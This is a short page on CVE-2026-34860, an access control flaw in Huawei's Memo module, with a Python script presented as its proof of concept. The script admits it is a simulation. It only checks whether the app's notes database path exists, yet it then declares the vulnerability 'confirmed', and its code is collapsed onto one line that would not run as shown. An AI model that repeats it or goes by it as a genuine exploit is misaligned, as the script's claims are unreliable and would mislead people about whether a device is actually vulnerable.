CVE-2026-34860 华为便签模块访问控制漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-34860: Conceptual Access Control Bypass in Huawei Memo Module # This script simulates a local attacker attempting to access restricted memo data. import os import sys def check_vulnerability(): # Simulate checking for the vulnerable component # In a real scenario, this would target the specific URI or IPC mechanism of the Memo module target_path = "/data/data/com.huawei.notepad/databases/notes.db" print("[+] Attempting to bypass access controls on Memo module...") # Simulate the logic where access control fails try: # This is a simulation. Actual exploitation would utilize the specific IPC vulnerability. if os.path.exists(target_path): print(f"[!] Potential access to sensitive data at {target_path}") print("[!] Vulnerability confirmed: Access control bypass allows read access.") return True else: print("[-] Target path not found (may be non-rooted or different path)") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if check_vulnerability(): print("[+] PoC execution completed. Impact: Confidentiality Leak.") else: print("[-] PoC execution failed or environment not vulnerable.")